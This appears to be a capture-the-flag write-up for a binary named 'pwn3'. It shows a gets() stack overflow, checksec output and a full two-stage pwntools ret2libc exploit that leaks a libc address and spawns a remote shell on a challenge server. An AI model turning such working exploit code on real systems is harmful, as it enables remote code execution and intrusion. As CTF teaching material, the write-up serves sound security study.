pwn3

Posted by m4st3r3k on April 5, 2019

You may find interesting:


Lil Arm


Hydra

[+] First of all check the binary file and execute

$ file pwn3 pwn3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ce51da8814e47e16a2df43c69d5c6ee12cc9bbd8, not stripped

$./pwn3 I am hungry you have to feed me to win this challenge.

Now give me some sweet desert.

AAAA

[+] Let’s see in GDB. The ELF is not stripped so we can disassemble easily.

gdb-peda$ disas main

   Dump of assembler code for function main:
   0x0804847d <+0>: push   ebp
   0x0804847e <+1>: mov    ebp,esp
   0x08048480 <+3>: and    esp,0xfffffff0
   0x08048483 <+6>: sub    esp,0x90
   0x08048489 <+12>:    mov    eax,ds:0x80497e0
   0x0804848e <+17>:    mov    DWORD PTR [esp+0xc],0x0
   0x08048496 <+25>:    mov    DWORD PTR [esp+0x8],0x2
   0x0804849e <+33>:    mov    DWORD PTR [esp+0x4],0x0
   0x080484a6 <+41>:    mov    DWORD PTR [esp],eax
   0x080484a9 <+44>:    call   0x8048370 <[email protected]>
   0x080484ae <+49>:    mov    DWORD PTR [esp],0x8048570
   0x080484b5 <+56>:    call   0x8048340 <[email protected]>
   0x080484ba <+61>:    mov    DWORD PTR [esp],0x80485ac
   0x080484c1 <+68>:    call   0x8048340 <[email protected]>
   0x080484c6 <+73>:    lea    eax,[esp+0x10]
   0x080484ca <+77>:    mov    DWORD PTR [esp],eax
   0x080484cd <+80>:    call   0x8048330 <[email protected]>
   0x080484d2 <+85>:    mov    eax,0x0
   0x080484d7 <+90>:    leave  
   0x080484d8 <+91>:    ret    
End of assembler dump.

[+] gets() function is being used. gets() is dangerous because it provides a way of buffer overflow attack or an error. The function gets() work in a way that it reads data form standard input stream until a new line is found. Possibly a buffer overflow.

0x080484cd <+80>: call 0x8048330 [email protected]

[+] Let’s check sec of binary.

gdb-peda$ checksec

CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

NX is enabled this suggests that if there is buffer overflow, we will use the ret2libc

[+] Let’s try to crash the binary:

$ python -c ‘print “A” *300’ ./pwn3

I am hungry you have to feed me to win this challenge

Now give me some sweet desert

Segmentation fault

It is clear that it is buffer overflow.

Of course this would be easy to run locally, working with something like this:

buf = ""
buf += "A"*140                          #OVERWRITE STACK
buf += p32(system_addr)         #OVERWRITE EIP with system acquired through: readelf -s your_libc | grep puts
buf += p32(fake_return)           #FAKE RETURN  
buf += p32(bin_sh)                  #ARGUMENT OF SYSTEM with plt entry of puts acquired through: strings -a -t x your_libc | grep "/bin/sh"

Note: In 32-bit architecture arguments are passed on the stack so we do not need gadgets. False return is necessary because the system() function needs to be returned and without this your payload would be misaligned on the stack

[+] We know there is a buffer overflow and that nx is enabled. To make the NX bypass, we can use ret2libc. but … the big question is how to do this remotely? How to know which libc is being used on the remote host?

1 - First of all we need to know that we will have to leak the libc address, this will also give us an advantage over ALSR if it is active on the remote host. For this to happen you need to overwrite the EIP with the PLT of puts and pass as an argument the GOT of some function. In our case I used the puts

2 - Knowing the address of libc, we can find out which libc the binary is using on the remote server. See https://github.com/niklasb/libc-database

3 - Now with the right libc, we can properly calculate the libc base and extract the necessary offsets for /bin/sh, system, puts. With the address of the libc base added to the offsets of / bin / sh and system respectively we will arrive at the complete address of where they are

4 - Do you remember the fake return? The difference is that we now need to point it to main, because the exploit needs to work in two parts. Leak an address from libc and return to main + ret2libc == got shell

See exploit below:

import struct
import socket
from pwn import *


########################## [REMOTE EXPLOIT] by M4ST3R3K ##########################
                                  ###[PWN3]###



context(arch = 'i386', os = 'linux', endian = 'little')


#################### STAGE1 ####################

puts_plt = 0x8048340         #objdump -D pwn3 | grep puts
puts_got = 0x80497b0        #objdump -R pwn3 | grep puts
main = 0x804847d              #objdump -D pwn3 | grep main


buf = ""
buf += "A"*140                   #junk
buf += p32(puts_plt)          #plt entry of puts
buf += p32(main)               #return to main
buf += p32(puts_got)         #got entry of puts


s = remote('104.154.106.182', 4567)

log.info("Stage 1: ...Leaking Memory")

print ''

print s.recv()

s.sendline(buf)

received = s.recvline()

print received

leaked_puts_got = received[:4].strip().ljust(4, '\x00')

leaked_puts_got = u32(leaked_puts_got)

addrs = hex(leaked_puts_got)

leaked_puts_got = int(addrs, 16)

log.success("Leaked remote libc address: " + addrs)

print ''


#################### STAGE2 ####################

#---> libc obtained through the leak of the got puts address <---#
#libc6_2.19-0ubuntu6.14_i386

#---> dump of offsets obtained with libc-database <--- # https://github.com/niklasb/libc-database
#offset___libc_start_main_ret = 0x19af3
#offset_system = 0x00040310
#offset_dup2 = 0x000ddda0
#offset_read = 0x000dd3e0
#offset_write = 0x000dd460
#offset_str_bin_sh = 0x162d4c
                                    

offset_bin_sh = 0x162d4c 
offset_system = 0x40310
offset_puts = 0x657e0
libc_base = leaked_puts_got - offset_puts

system_addr = libc_base + offset_system
fake_addr = 0xbeefdead
bin_sh_addr = libc_base + offset_bin_sh


buf = ""
buf += "A"*132      #junk (in the second part of the exploration the payload had to be aligned. Obtained through debugger).
buf += p32(system_addr)       #system into libc
buf += p32(fake_addr)           #fake return address
buf += p32(bin_sh_addr)       #/bin/sh into libc

log.info("Stage 2: ...Obtaining Shell ")

print ''

s.sendline(buf)

s.interactive()